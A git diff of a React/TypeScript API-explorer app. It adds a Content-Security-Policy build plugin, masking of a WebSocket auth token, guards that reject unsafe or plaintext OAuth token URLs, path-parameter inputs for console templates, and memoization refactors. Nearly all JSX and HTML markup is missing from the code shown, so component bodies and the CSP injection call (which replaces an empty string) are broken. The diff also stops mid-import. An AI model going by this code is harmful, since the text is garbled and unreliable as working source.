diff --git a/cli/src/build-template.ts b/cli/src/build-template.ts index 0b6cee9..8ccebdf 100644 --- a/cli/src/build-template.ts +++ b/cli/src/build-template.ts @@ -8,10 +8,38 @@ const root = fileURLToPath(new URL("../..", import.meta.url)) const srcDir = fileURLToPath(new URL("../../src", import.meta.url)) const pkg = JSON.parse(readFileSync(new URL("../../package.json", import.meta.url), "utf8")) +// Generated static templates inline their scripts/styles, so script/style must +// allow 'unsafe-inline' (and 'unsafe-eval' for ajv's runtime schema compilation). +// The hardening that still applies: object-src/base-uri/frame-ancestors and +// restricting where scripts/images may load from. +const TEMPLATE_CSP = [ + "default-src 'self'", + "connect-src * data: blob: ws: wss:", + "img-src 'self' data: https:", + "font-src 'self' data:", + "style-src 'self' 'unsafe-inline'", + "script-src 'self' 'unsafe-inline' 'unsafe-eval'", + "object-src 'none'", + "base-uri 'self'", + "frame-ancestors 'none'", +].join("; ") + +function templateCspPlugin() { + return { + name: "apilot-template-csp", + transformIndexHtml(html: string) { + return html.replace( + "", + `\n `, + ) + }, + } +} + const sharedConfig: InlineConfig = { configFile: false, root, - plugins: [react(), tailwindcss()], + plugins: [react(), tailwindcss(), templateCspPlugin()], resolve: { alias: { "@": srcDir, diff --git a/src/App.tsx b/src/App.tsx index 877b9ee..4dba1a8 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -106,7 +106,6 @@ function AppContent() { useSettings({ setAuthType: auth.setAuthType, - setAuthToken: auth.setAuthToken, }, loadFromUrl) const isEmbedded = isEmbeddedMode() diff --git a/src/components/channels/ChannelTestTab.tsx b/src/components/channels/ChannelTestTab.tsx index eadaf0f..0eccd09 100644 --- a/src/components/channels/ChannelTestTab.tsx +++ b/src/components/channels/ChannelTestTab.tsx @@ -51,6 +51,8 @@ export function ChannelTestTab({ channel }: { channel: ParsedChannel }) { } url = url.replace(/\/$/, "") + address if (authToken) { + // Browsers can't set custom headers on WebSocket, so the token must go in the + // query string. It's masked in the URL preview to avoid shoulder-surfing. url += (url.includes("?") ? "&" : "?") + `token=${encodeURIComponent(authToken)}` } return url @@ -147,7 +149,7 @@ export function ChannelTestTab({ channel }: { channel: ParsedChannel }) { {/* URL preview + connect/disconnect */}
- {buildUrl() || "ws://..."} + {buildUrl().replace(/(token=)[^&]+/, "$1***") || "ws://..."} {ws.status === "disconnected" || ws.status === "error" ? ( - diff --git a/src/components/console/ConsoleListPage.tsx b/src/components/console/ConsoleListPage.tsx index 841e797..ebf7471 100644 --- a/src/components/console/ConsoleListPage.tsx +++ b/src/components/console/ConsoleListPage.tsx @@ -10,6 +10,7 @@ import { useAuthContext } from "@/contexts/AuthContext" import { useConsoleContext } from "@/contexts/ConsoleContext" import type { ConsoleResource } from "@/lib/console/types" import type { Parameter } from "@/lib/openapi/types" +import { PAGINATION_TOTAL_FIELDS } from "@/lib/console/schema-inference" import { Skeleton } from "@/components/ui/skeleton" import { ConsoleFilterBar } from "./ConsoleFilterBar" import { ConfirmDialog } from "./ConfirmDialog" @@ -89,9 +90,11 @@ export function ConsoleListPage({ resource, readOnly, layoutOverride }: { resour const extractTotalCount = useCallback((parsed: unknown) => { if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) { const obj = parsed as Record - for (const key of ["total", "count", "total_count", "totalCount", "totalItems"]) { - if (typeof obj[key] === "number") { - setTotalCount(obj[key] as number) + // Case-insensitive match, consistent with detectPagination's field set. + for (const key of PAGINATION_TOTAL_FIELDS) { + const match = Object.keys(obj).find(k => k.toLowerCase() === key) + if (match && typeof obj[match] === "number") { + setTotalCount(obj[match] as number) return } } diff --git a/src/components/console/PathParamFields.tsx b/src/components/console/PathParamFields.tsx new file mode 100644 index 0000000..5e5d923 --- /dev/null +++ b/src/components/console/PathParamFields.tsx @@ -0,0 +1,61 @@ +import { useTranslation } from "react-i18next" +import { Input } from "@/components/ui/input" +import { Button } from "@/components/ui/button" +import { Field, FieldLabel } from "@/components/ui/field" +import type { ParsedRoute, Parameter } from "@/lib/openapi/types" + +/** Path (`in: "path"`) parameters declared on a route, e.g. {id} in /users/{id}. */ +export function getPathParams(route: ParsedRoute): Parameter[] { + return (route.parameters ?? []).filter(p => p.in === "path") +} + +/** True if every required path parameter has a non-empty value. */ +export function hasAllRequiredPathParams(route: ParsedRoute, values: Record): boolean { + return getPathParams(route).every(p => !p.required || !!values[p.name]?.trim()) +} + +/** + * Inline editor for a route's path parameters with an optional "load" action. + * Detail/editor/config/stats templates render this so a resource whose read + * operation needs an id (GET /users/{id}) is actually usable instead of silently + * blank. Renders nothing when the route has no path parameters. + */ +export function PathParamFields({ + route, values, onChange, onLoad, loading, loadLabel, +}: { + route: ParsedRoute + values: Record + onChange: (next: Record) => void + onLoad?: () => void + loading?: boolean + loadLabel?: string +}) { + const { t } = useTranslation() + const params = getPathParams(route) + if (params.length === 0) return null + const ready = hasAllRequiredPathParams(route, values) + return ( +
+ {params.map(p => ( + + + {p.name}{p.required ? " *" : ""} + + onChange({ ...values, [p.name]: e.target.value })} + onKeyDown={e => { if (e.key === "Enter" && ready && onLoad) onLoad() }} + /> + + ))} + {onLoad && ( + + )} +
+ ) +} diff --git a/src/components/console/templates/ActionFormTemplate.tsx b/src/components/console/templates/ActionFormTemplate.tsx index fa636ec..55de9a3 100644 --- a/src/components/console/templates/ActionFormTemplate.tsx +++ b/src/components/console/templates/ActionFormTemplate.tsx @@ -9,6 +9,7 @@ import { useConsoleContext } from "@/contexts/ConsoleContext" import { applyFieldLayout } from "@/lib/console/apply-layout" import type { FormFieldConfig, ResourceAction } from "@/lib/console/types" import { getRequestBodySchema } from "@/lib/console/schema-inference" +import { PathParamFields, getPathParams, hasAllRequiredPathParams } from "../PathParamFields" import { toast } from "sonner" import type { TemplateProps } from "./index" @@ -38,14 +39,17 @@ function ActionCard({ action, fieldConfigs }: { action: ResourceAction; fieldCon const { submitJson, loading } = useConsoleFetch() const [formData, setFormData] = useState({}) const [response, setResponse] = useState(null) + const [pathParams, setPathParams] = useState>({}) const rawSchema = getRequestBodySchema(action.route) const schema = rawSchema ? applyFieldLayout(rawSchema, fieldConfigs) : null + const routePathParams = getPathParams(action.route) + const canSubmit = hasAllRequiredPathParams(action.route, pathParams) const handleChange = useCallback((v: FormOutput) => setFormData(v), []) const handleSubmit = async () => { const body = schema ? JSON.stringify(formData) : "" - const { ok, response: resp } = await submitJson(action.route, body) + const { ok, response: resp } = await submitJson(action.route, body, pathParams) if (ok) toast.success(`${action.label}: OK`) else toast.error(`${action.label}: failed`) setResponse(resp) @@ -64,13 +68,16 @@ function ActionCard({ action, fieldConfigs }: { action: ResourceAction; fieldCon {action.route.description} )} - {schema && ( - - + {(routePathParams.length > 0 || schema) && ( + + {routePathParams.length > 0 && ( + + )} + {schema && } )} - diff --git a/src/components/console/templates/ConfigFormTemplate.tsx b/src/components/console/templates/ConfigFormTemplate.tsx index 1554a68..4c167ee 100644 --- a/src/components/console/templates/ConfigFormTemplate.tsx +++ b/src/components/console/templates/ConfigFormTemplate.tsx @@ -11,6 +11,7 @@ import { useConsoleContext } from "@/contexts/ConsoleContext" import { applyFieldLayout } from "@/lib/console/apply-layout" import { stableEqual } from "@/lib/console/template-utils" import { ConfirmDialog } from "../ConfirmDialog" +import { PathParamFields, getPathParams, hasAllRequiredPathParams } from "../PathParamFields" import { toast } from "sonner" import type { TemplateProps } from "./index" @@ -25,23 +26,25 @@ export function ConfigFormTemplate({ resource, layoutOverride }: TemplateProps) const [formData, setFormData] = useState({}) const [error, setError] = useState(null) const [discardConfirmOpen, setDiscardConfirmOpen] = useState(false) + const [pathParams, setPathParams] = useState>({}) const readOp = resource.operations.read const updateOp = resource.operations.update const rawSchema = resource.updateSchema ?? resource.detailSchema const schema = rawSchema ? applyFieldLayout(rawSchema, layout?.formFields) : null + const needsInput = !!readOp && getPathParams(readOp.route).length > 0 const dirty = useMemo(() => data !== null && !stableEqual(formData, data), [formData, data]) const fetchConfig = useCallback(async () => { - if (!readOp) return + if (!readOp || !hasAllRequiredPathParams(readOp.route, pathParams)) return setError(null) - const { data: parsed, error: err } = await fetchJson(readOp.route) + const { data: parsed, error: err } = await fetchJson(readOp.route, pathParams) if (parsed) { setData(parsed); setFormData(parsed) } setError(err) - }, [readOp, fetchJson]) + }, [readOp, fetchJson, pathParams]) - useEffect(() => { fetchConfig() }, [fetchConfig]) + useEffect(() => { if (!needsInput) fetchConfig() }, [needsInput, fetchConfig]) const handleChange = useCallback((v: FormOutput) => setFormData(v), []) @@ -52,7 +55,7 @@ export function ConfigFormTemplate({ resource, layoutOverride }: TemplateProps) const handleSave = async () => { if (!updateOp) return - const ok = await mutate(updateOp.route, { body: JSON.stringify(formData) }) + const ok = await mutate(updateOp.route, { body: JSON.stringify(formData), params: pathParams }) if (ok) { toast.success(t("console.updated")); fetchConfig() } else toast.error(t("console.updateFailed", { status: "" })) } @@ -71,6 +74,18 @@ export function ConfigFormTemplate({ resource, layoutOverride }: TemplateProps) + {needsInput && readOp && ( +
+ +
+ )} + {error && (
{error}
)} diff --git a/src/components/console/templates/DetailCardTemplate.tsx b/src/components/console/templates/DetailCardTemplate.tsx index 855a2da..96c4cc5 100644 --- a/src/components/console/templates/DetailCardTemplate.tsx +++ b/src/components/console/templates/DetailCardTemplate.tsx @@ -10,6 +10,7 @@ import { useConsoleContext } from "@/contexts/ConsoleContext" import { applyDetailLayout } from "@/lib/console/apply-layout" import { ConsoleFormDialog } from "../ConsoleFormDialog" import { ConsoleActionButton } from "../ConsoleActionButton" +import { PathParamFields, getPathParams, hasAllRequiredPathParams } from "../PathParamFields" import type { TemplateProps } from "./index" export function DetailCardTemplate({ resource, layoutOverride }: TemplateProps) { @@ -19,19 +20,22 @@ export function DetailCardTemplate({ resource, layoutOverride }: TemplateProps) const { fetchJson, loading } = useConsoleFetch() const [data, setData] = useState | null>(null) const [error, setError] = useState(null) + const [pathParams, setPathParams] = useState>({}) const readOp = resource.operations.read const hasUpdate = !!resource.operations.update + const needsInput = !!readOp && getPathParams(readOp.route).length > 0 const fetchDetail = useCallback(async () => { - if (!readOp) return + if (!readOp || !hasAllRequiredPathParams(readOp.route, pathParams)) return setError(null) - const { data: parsed, error: err } = await fetchJson>(readOp.route) + const { data: parsed, error: err } = await fetchJson>(readOp.route, pathParams) setData(parsed) setError(err) - }, [readOp, fetchJson]) + }, [readOp, fetchJson, pathParams]) - useEffect(() => { fetchDetail() }, [fetchDetail]) + // Auto-load only when no path parameter input is required. + useEffect(() => { if (!needsInput) fetchDetail() }, [needsInput, fetchDetail]) return (
@@ -56,6 +60,18 @@ export function DetailCardTemplate({ resource, layoutOverride }: TemplateProps) + {needsInput && readOp && ( +
+ +
+ )} + {error && (
{error} @@ -92,7 +108,7 @@ export function DetailCardTemplate({ resource, layoutOverride }: TemplateProps) {resource.actions.length > 0 && (
{resource.actions.map((action, i) => ( - + ))}
)} diff --git a/src/components/console/templates/EditorSplitTemplate.tsx b/src/components/console/templates/EditorSplitTemplate.tsx index 45e1a15..03893c6 100644 --- a/src/components/console/templates/EditorSplitTemplate.tsx +++ b/src/components/console/templates/EditorSplitTemplate.tsx @@ -11,6 +11,7 @@ import { useConsoleContext } from "@/contexts/ConsoleContext" import { applyDetailLayout, applyFieldLayout } from "@/lib/console/apply-layout" import { stableEqual } from "@/lib/console/template-utils" import { ConfirmDialog } from "../ConfirmDialog" +import { PathParamFields, getPathParams, hasAllRequiredPathParams } from "../PathParamFields" import { toast } from "sonner" import type { TemplateProps } from "./index" @@ -25,23 +26,25 @@ export function EditorSplitTemplate({ resource, layoutOverride }: TemplateProps) const [formData, setFormData] = useState({}) const [error, setError] = useState(null) const [discardConfirmOpen, setDiscardConfirmOpen] = useState(false) + const [pathParams, setPathParams] = useState>({}) const readOp = resource.operations.read const updateOp = resource.operations.update const updateSchema = resource.updateSchema ? applyFieldLayout(resource.updateSchema, layout?.updateFields) : null + const needsInput = !!readOp && getPathParams(readOp.route).length > 0 const dirty = useMemo(() => data !== null && !stableEqual(formData, data), [formData, data]) const fetchDetail = useCallback(async () => { - if (!readOp) return + if (!readOp || !hasAllRequiredPathParams(readOp.route, pathParams)) return setError(null) - const { data: parsed, error: err } = await fetchJson>(readOp.route) + const { data: parsed, error: err } = await fetchJson>(readOp.route, pathParams) if (parsed) { setData(parsed); setFormData(parsed) } else setData(null) setError(err) - }, [readOp, fetchJson]) + }, [readOp, fetchJson, pathParams]) - useEffect(() => { fetchDetail() }, [fetchDetail]) + useEffect(() => { if (!needsInput) fetchDetail() }, [needsInput, fetchDetail]) const handleChange = useCallback((v: FormOutput) => setFormData(v), []) @@ -52,7 +55,7 @@ export function EditorSplitTemplate({ resource, layoutOverride }: TemplateProps) const handleSave = async () => { if (!updateOp) return - const ok = await mutate(updateOp.route, { body: JSON.stringify(formData) }) + const ok = await mutate(updateOp.route, { body: JSON.stringify(formData), params: pathParams }) if (ok) { toast.success(t("console.updated")); fetchDetail() } else toast.error(t("console.updateFailed", { status: "" })) } @@ -83,6 +86,16 @@ export function EditorSplitTemplate({ resource, layoutOverride }: TemplateProps) onConfirm={() => { setDiscardConfirmOpen(false); fetchDetail() }} /> + {needsInput && readOp && ( + + )} + {error && (
{error} diff --git a/src/components/console/templates/StatsDashboardTemplate.tsx b/src/components/console/templates/StatsDashboardTemplate.tsx index 646ca1f..3928cf7 100644 --- a/src/components/console/templates/StatsDashboardTemplate.tsx +++ b/src/components/console/templates/StatsDashboardTemplate.tsx @@ -12,6 +12,7 @@ import { useConsoleContext } from "@/contexts/ConsoleContext" import { categorizeStats } from "@/lib/console/apply-layout" import { useTheme } from "next-themes" import { ConsoleActionButton } from "../ConsoleActionButton" +import { PathParamFields, getPathParams, hasAllRequiredPathParams } from "../PathParamFields" import type { TemplateProps } from "./index" ModuleRegistry.registerModules([AllCommunityModule]) @@ -23,20 +24,22 @@ export function StatsDashboardTemplate({ resource, layoutOverride }: TemplatePro const { fetchJson, loading } = useConsoleFetch() const [data, setData] = useState | null>(null) const [error, setError] = useState(null) + const [pathParams, setPathParams] = useState>({}) const readOp = resource.operations.read ?? resource.operations.list const action = !readOp ? resource.actions[0] : null + const activeRoute = readOp?.route ?? action?.route ?? null + const needsInput = !!activeRoute && getPathParams(activeRoute).length > 0 const fetchData = useCallback(async () => { - const route = readOp?.route ?? action?.route - if (!route) return + if (!activeRoute || !hasAllRequiredPathParams(activeRoute, pathParams)) return setError(null) - const { data: parsed, error: err } = await fetchJson>(route) + const { data: parsed, error: err } = await fetchJson>(activeRoute, pathParams) setData(parsed) setError(err) - }, [readOp, action, fetchJson]) + }, [activeRoute, fetchJson, pathParams]) - useEffect(() => { fetchData() }, [fetchData]) + useEffect(() => { if (!needsInput) fetchData() }, [needsInput, fetchData]) const statsConfig = layout?.statsConfig @@ -63,12 +66,22 @@ export function StatsDashboardTemplate({ resource, layoutOverride }: TemplatePro {t("console.autoRefresh", { seconds: refreshInterval })} ) : null}
- {resource.actions.map((a, i) => )} + {resource.actions.map((a, i) => )}
+ {needsInput && activeRoute && ( + + )} + {error && (
{error}
)} diff --git a/src/components/layout/AppSidebar.tsx b/src/components/layout/AppSidebar.tsx index e4897b7..ebab274 100644 --- a/src/components/layout/AppSidebar.tsx +++ b/src/components/layout/AppSidebar.tsx @@ -23,7 +23,6 @@ import { useAsyncAPIContext } from "@/contexts/AsyncAPIContext" import { useConsoleContext } from "@/contexts/ConsoleContext" import { ConsoleImportExport } from "@/components/console/ConsoleImportExport" import { useFavorites } from "@/hooks/use-favorites" -import type { MainView } from "@/lib/openapi/types" import { APP_VERSION, GITHUB_URL, getBuildLabel } from "@/lib/app-info" import { WorkspaceSwitcher } from "@/components/layout/WorkspaceSwitcher" import { EnvironmentSwitcher } from "@/components/layout/EnvironmentSwitcher" @@ -44,12 +43,12 @@ export function AppSidebar() { const hasConsoleResources = groups.some(g => g.resources.length > 0) const handleConsoleResource = (basePath: string) => { - setMainView("console" as MainView) + setMainView("console") consoleDispatch({ type: "SET_ACTIVE_RESOURCE", key: basePath }) } const handleConsoleAction = (basePath: string, actionIndex: number) => { - setMainView("console" as MainView) + setMainView("console") consoleDispatch({ type: "SET_ACTIVE_ACTION", key: basePath, actionIndex }) } @@ -67,7 +66,7 @@ export function AppSidebar() { setMainView("channels" as MainView)} + onClick={() => setMainView("channels")} > {t("sidebar.channels")} @@ -81,7 +80,7 @@ export function AppSidebar() { setMainView("endpoints" as MainView)} + onClick={() => setMainView("endpoints")} > {t("sidebar.endpoints")} @@ -97,7 +96,7 @@ export function AppSidebar() { setMainView("favorites" as MainView)} + onClick={() => setMainView("favorites")} > {t("sidebar.favorites")} @@ -112,7 +111,7 @@ export function AppSidebar() { setMainView("models" as MainView)} + onClick={() => setMainView("models")} > {t("sidebar.models")} @@ -128,7 +127,7 @@ export function AppSidebar() { setMainView("diagnostics" as MainView)} + onClick={() => setMainView("diagnostics")} > {t("sidebar.diagnostics")} @@ -137,7 +136,7 @@ export function AppSidebar() { setMainView("diff" as MainView)} + onClick={() => setMainView("diff")} > {t("sidebar.diff")} diff --git a/src/components/schema/JsonSchemaTreeView.tsx b/src/components/schema/JsonSchemaTreeView.tsx index 3535ee1..33bd50f 100644 --- a/src/components/schema/JsonSchemaTreeView.tsx +++ b/src/components/schema/JsonSchemaTreeView.tsx @@ -1,3 +1,4 @@ +import { memo, useMemo } from "react" import { useTranslation } from "react-i18next" import { Badge, badgeVariants } from "@/components/ui/badge" import { @@ -119,7 +120,7 @@ function NodeMeta({ node }: { node: JsonSchemaTreeNode }) { ) } -function JsonSchemaTreeRow({ +const JsonSchemaTreeRow = memo(function JsonSchemaTreeRow({ node, depth, hasDetails, @@ -189,7 +190,7 @@ function JsonSchemaTreeRow({ ) -} +}) export function JsonSchemaTreeView({ nodes, @@ -199,7 +200,7 @@ export function JsonSchemaTreeView({ selectedNodeId, }: JsonSchemaTreeViewProps) { const { t } = useTranslation() - const rows = flattenTree(nodes) + const rows = useMemo(() => flattenTree(nodes), [nodes]) if (nodes.length === 0) { return ( diff --git a/src/components/settings/AuthSettings.tsx b/src/components/settings/AuthSettings.tsx index 1a7a5e5..c9f819f 100644 --- a/src/components/settings/AuthSettings.tsx +++ b/src/components/settings/AuthSettings.tsx @@ -73,6 +73,11 @@ export function AuthSettings() { {t("auth.oauth2")} + {auth.authType !== "none" && ( + + {t("auth.plaintextWarning")} + + )} {auth.authType === "bearer" && ( diff --git a/src/components/tools/MultiEnvDiffView.tsx b/src/components/tools/MultiEnvDiffView.tsx index 80a9dbf..67df6c0 100644 --- a/src/components/tools/MultiEnvDiffView.tsx +++ b/src/components/tools/MultiEnvDiffView.tsx @@ -7,6 +7,7 @@ import { Table, TableHeader, TableBody, TableHead, TableRow, TableCell } from "@ import type { OpenAPIDiffResult } from "@/lib/openapi/diff" import type { OpenAPISpec } from "@/lib/openapi/types" import { getErrorMessage, normalizeParsedSpec, parseSpecText, parseValidatedSpec } from "@/lib/openapi/parser" +import { readResponseTextCapped } from "@/lib/fetch-utils" import { useEnvironments } from "@/hooks/use-environments" import { useOpenAPIContext } from "@/contexts/OpenAPIContext" import { GroupedDiffResult, getEnvSpecUrl } from "./ProjectToolsView" @@ -119,9 +120,9 @@ export function MultiEnvDiffView({ spec }: { spec?: OpenAPISpec | undefined }) { if (!url) throw new Error(`Cannot construct URL for ${opt.name}`) const response = await fetch(url) if (!response.ok) throw new Error(`HTTP ${response.status} ${response.statusText}`) - const text = await response.text() + const text = await readResponseTextCapped(response) const parsed = parseSpecText(text) - const validated = await parseValidatedSpec(parsed) + const validated = await parseValidatedSpec(parsed, { sourceUrl: url }) parsedSpec = normalizeParsedSpec(validated.spec) } loadedSpecs.push({ key: opt.key, name: opt.name, spec: parsedSpec }) diff --git a/src/components/tools/ProjectToolsView.tsx b/src/components/tools/ProjectToolsView.tsx index 49b9a75..2e308fc 100644 --- a/src/components/tools/ProjectToolsView.tsx +++ b/src/components/tools/ProjectToolsView.tsx @@ -16,6 +16,7 @@ import type { } from "@/lib/openapi/diff" import type { OpenAPISpec } from "@/lib/openapi/types" import { getErrorMessage } from "@/lib/openapi/parser" +import { readResponseTextCapped } from "@/lib/fetch-utils" import { Badge } from "@/components/ui/badge" import { Button } from "@/components/ui/button" import { Input } from "@/components/ui/input" @@ -594,7 +595,7 @@ export function OpenAPIDiffView({ spec }: OpenAPIDiffViewProps) { try { const response = await fetch(url) if (!response.ok) throw new Error(`HTTP ${response.status} ${response.statusText}`) - const text = await response.text() + const text = await readResponseTextCapped(response) worker.postMessage({ type: "parse-slot", requestId, slot, name, text }) } catch (error) { pendingSlotRequestsRef.current[slot] = null diff --git a/src/contexts/OpenAPIContext.tsx b/src/contexts/OpenAPIContext.tsx index e09a1f8..0c0ef9e 100644 --- a/src/contexts/OpenAPIContext.tsx +++ b/src/contexts/OpenAPIContext.tsx @@ -1,4 +1,4 @@ -import { createContext, useContext, useReducer, useCallback } from "react" +import { createContext, useContext, useReducer, useCallback, useMemo } from "react" import type { ReactNode } from "react" import type { OpenAPISpec, @@ -437,7 +437,9 @@ export function OpenAPIProvider({ children }: { children: ReactNode }) { dispatch({ type: "SET_SPEC_URL", url }) }, []) - const value: OpenAPIContextValue = { + // Memoized so consumers don't re-render on every provider render; all the + // setters are stable useCallbacks, so this effectively changes only with state. + const value: OpenAPIContextValue = useMemo(() => ({ state, dispatch, toggleRoute, @@ -465,7 +467,13 @@ export function OpenAPIProvider({ children }: { children: ReactNode }) { setMainView, setBaseUrl, setSpecUrl, - } + }), [ + state, toggleRoute, selectRoutes, deselectRoutes, selectAllRoutes, clearRouteSelection, + toggleModel, selectAllModels, clearModelSelection, toggleTag, clearTags, invertTags, + setFilter, setActiveEndpointKey, setEndpointDetailTab, setModelFilter, setModelViewMode, + setActiveModelName, setSchemaFilter, setSchemaCategoryFilter, setSchemaTypeFilter, + setActiveSchemaName, setSchemaSource, setMainView, setBaseUrl, setSpecUrl, + ]) return ( diff --git a/src/hooks/use-auth.ts b/src/hooks/use-auth.ts index e74c881..0e06eef 100644 --- a/src/hooks/use-auth.ts +++ b/src/hooks/use-auth.ts @@ -3,8 +3,11 @@ import i18n from "@/lib/i18n" import { useOpenAPIContext } from "@/contexts/OpenAPIContext" import { normalizeRestoredAuth, type RestoredAuthState } from "@/lib/auth-state" import { buildAuthHeaders } from "@/lib/request-utils" +import { isHttpUrl } from "@/lib/openapi/url-guard" import type { AuthType } from "@/lib/openapi/types" +const LOOPBACK_HOSTS = new Set(["localhost", "127.0.0.1", "::1", "[::1]"]) + export function useAuth() { const { state } = useOpenAPIContext() @@ -34,6 +37,21 @@ export function useAuth() { resolvedUrl = base + (resolvedUrl.startsWith("/") ? "" : "/") + resolvedUrl } + // The tokenUrl can come from an untrusted spec. Reject non-http(s) schemes and + // plaintext http (except loopback) so the user's password is never sent over a + // javascript:/data: URL or in the clear. + if (!isHttpUrl(resolvedUrl)) { + return { success: false, error: i18n.t("validation.tokenUrlInvalid") } + } + try { + const u = new URL(resolvedUrl) + if (u.protocol === "http:" && !LOOPBACK_HOSTS.has(u.hostname)) { + return { success: false, error: i18n.t("validation.tokenUrlInsecure") } + } + } catch { + return { success: false, error: i18n.t("validation.tokenUrlInvalid") } + } + setOAuth2Loading(true) try { const body = new URLSearchParams({ grant_type: "password", username: user, password: pass }) @@ -52,7 +70,7 @@ export function useAuth() { } throw new Error(`${res.status} ${detail}`.substring(0, 80)) } - const data = await res.json() + const data = await res.json() as { access_token?: string } const token = data.access_token if (!token) throw new Error(i18n.t("validation.noAccessToken")) setOAuth2Token(token) diff --git a/src/hooks/use-console-fetch.ts b/src/hooks/use-console-fetch.ts index 43e351a..11d9457 100644 --- a/src/hooks/use-console-fetch.ts +++ b/src/hooks/use-console-fetch.ts @@ -15,20 +15,22 @@ export interface SubmitJsonResult { export function useConsoleFetch() { const auth = useAuthContext() - const { sendRequest, loading } = useRequest(auth.getAuthHeaders) + const { sendRequest, loading, errorRef } = useRequest(auth.getAuthHeaders) const fetchJson = useCallback(async ( route: ParsedRoute, params?: Record, ): Promise> => { const result = await sendRequest(route, params ?? {}, "", "application/json") - if (!result) return { data: null, error: null } + // null = baseUrl missing / validation failure / abort. Surface the validation + // reason (errorRef) so templates don't render a silent blank; abort leaves it null. + if (!result) return { data: null, error: errorRef.current } if (result.status >= 200 && result.status < 300) { try { return { data: JSON.parse(result.body) as T, error: null } } - catch { return { data: null, error: null } } + catch (e) { return { data: null, error: e instanceof Error ? e.message : "Invalid JSON response" } } } return { data: null, error: `${result.status} ${result.statusText}` } - }, [sendRequest]) + }, [sendRequest, errorRef]) const submitJson = useCallback(async ( route: ParsedRoute, diff --git a/src/hooks/use-environments.ts b/src/hooks/use-environments.ts index 88a26f1..43b730f 100644 --- a/src/hooks/use-environments.ts +++ b/src/hooks/use-environments.ts @@ -1,4 +1,4 @@ -import { useState, useEffect, useCallback, useRef, createContext, useContext } from "react" +import { useState, useEffect, useCallback, useRef, useMemo, createContext, useContext } from "react" import { useSpecId } from "@/hooks/use-spec-id" import { useOpenAPIContext } from "@/contexts/OpenAPIContext" import { useAuthContext } from "@/contexts/AuthContext" @@ -312,7 +312,7 @@ export function useEnvironmentsProvider(): EnvironmentsContextValue { const activeEnv = environments.find(e => e.id === activeEnvId) || null - return { + return useMemo(() => ({ environments, activeEnvId, activeEnv, @@ -321,7 +321,7 @@ export function useEnvironmentsProvider(): EnvironmentsContextValue { addEnvironment, updateEnvironment, removeEnvironment: removeEnvironmentFn, - } + }), [environments, activeEnvId, activeEnv, loading, switchEnvironment, addEnvironment, updateEnvironment, removeEnvironmentFn]) } export function useEnvironments() { diff --git a/src/hooks/use-favorites.ts b/src/hooks/use-favorites.ts index a28b5a1..853cf19 100644 --- a/src/hooks/use-favorites.ts +++ b/src/hooks/use-favorites.ts @@ -36,15 +36,17 @@ export function useFavoritesProvider(): FavoritesContextValue { const toggleFavorite = useCallback((routeKey: string) => { if (!specId) return - const next = new Set(effectiveFavorites) - if (next.has(routeKey)) { - next.delete(routeKey) - removeFavorite(specId, routeKey) - } else { - next.add(routeKey) - addFavorite(specId, routeKey) - } - setFavorites(next) + const wasFavorite = effectiveFavorites.has(routeKey) + // Optimistic, functional update (avoids stale-snapshot overwrites on rapid toggles). + const apply = (add: boolean) => setFavorites(prev => { + const next = new Set(prev) + if (add) next.add(routeKey) + else next.delete(routeKey) + return next + }) + apply(!wasFavorite) + const op = wasFavorite ? removeFavorite(specId, routeKey) : addFavorite(specId, routeKey) + op.catch(() => apply(wasFavorite)) // roll back on persistence failure }, [specId, effectiveFavorites]) return { favorites: effectiveFavorites, isFavorite, toggleFavorite } diff --git a/src/hooks/use-multi-env-status.ts b/src/hooks/use-multi-env-status.ts index a319c59..aac46b6 100644 --- a/src/hooks/use-multi-env-status.ts +++ b/src/hooks/use-multi-env-status.ts @@ -255,14 +255,14 @@ export function useMultiEnvStatusProvider(): MultiEnvStatusValue { return null }, [envStatuses]) - return { + return useMemo(() => ({ envStatuses, getRoutePresence, inferStatus, loading, refresh, enabled, - } + }), [envStatuses, getRoutePresence, inferStatus, loading, refresh, enabled]) } export function useMultiEnvStatus() { diff --git a/src/hooks/use-openapi.ts b/src/hooks/use-openapi.ts index b5a8d2a..b45ebf9 100644 --- a/src/hooks/use-openapi.ts +++ b/src/hooks/use-openapi.ts @@ -24,6 +24,8 @@ import { detectSpecType, parseAsyncAPIDocument } from "@/lib/asyncapi/parser" import { getEnvironmentRuntimes, getSpecSettings, putSpecFromDocument } from "@/lib/db" import { computeSpecId } from "@/lib/spec-id" import { isEmbeddedMode } from "@/lib/embedded" +import { isHttpUrl } from "@/lib/openapi/url-guard" +import { readResponseTextCapped } from "@/lib/fetch-utils" function extractRoutes(spec: OpenAPISpec, sourceSpec: OpenAPISpec): { routes: ParsedRoute[] @@ -132,7 +134,7 @@ export function useOpenAPI() { const yieldToUI = () => new Promise(r => requestAnimationFrame(() => setTimeout(r, 0))) const processOpenAPISpec = useCallback(async (input: string | OpenAPISpec, url: string, baseUrlOverride?: string) => { - const { spec: parsedSpec, sourceSpec, warnings } = await parseValidatedSpec(input) + const { spec: parsedSpec, sourceSpec, warnings } = await parseValidatedSpec(input, { sourceUrl: url }) if (warnings.length > 0) { toast.warning(i18n.t("toast.nonStandardProperties"), { duration: 8000 }) } @@ -194,7 +196,7 @@ export function useOpenAPI() { const loadFromUrl = useCallback(async (url: string, options?: { baseUrlOverride?: string; fetchAuth?: { username: string; password: string } }) => { if (!url.trim()) return - try { new URL(url) } catch { + if (!isHttpUrl(url)) { dispatch({ type: "SET_ERROR", error: i18n.t("error.invalidUrl") }) return } @@ -207,6 +209,8 @@ export function useOpenAPI() { if (options?.fetchAuth) { const { username, password } = options.fetchAuth fetchInit.headers = { Authorization: `Basic ${btoa(unescape(encodeURIComponent(`${username}:${password}`)))}` } + // Don't let a credentialed spec response land in the HTTP cache. + fetchInit.cache = "no-store" } try { response = await fetch(url, fetchInit) @@ -232,7 +236,7 @@ export function useOpenAPI() { } throw new Error(i18n.t("error.fetchHttp", { status: response.status, statusText: response.statusText })) } - const text = await response.text() + const text = await readResponseTextCapped(response) const specType = detectSpecType(text) if (specType === "asyncapi") { await processAsyncAPISpec(text, url) diff --git a/src/hooks/use-request.ts b/src/hooks/use-request.ts index ce62304..0ed5c03 100644 --- a/src/hooks/use-request.ts +++ b/src/hooks/use-request.ts @@ -1,7 +1,10 @@ import { useState, useCallback, useRef } from "react" +import { toast } from "sonner" import i18n from "@/lib/i18n" import { useOpenAPIContext } from "@/contexts/OpenAPIContext" import { buildSnippet } from "@/lib/build-snippet" +import { resolveServerUrl } from "@/lib/openapi/parser" +import { isCrossHostTarget, originOf } from "@/lib/openapi/url-guard" import { validateWithSchema } from 